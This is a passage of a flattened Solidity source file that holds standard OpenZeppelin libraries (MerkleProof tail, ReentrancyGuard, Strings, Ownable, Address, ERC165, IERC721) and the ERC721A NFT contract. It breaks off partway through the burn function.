function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
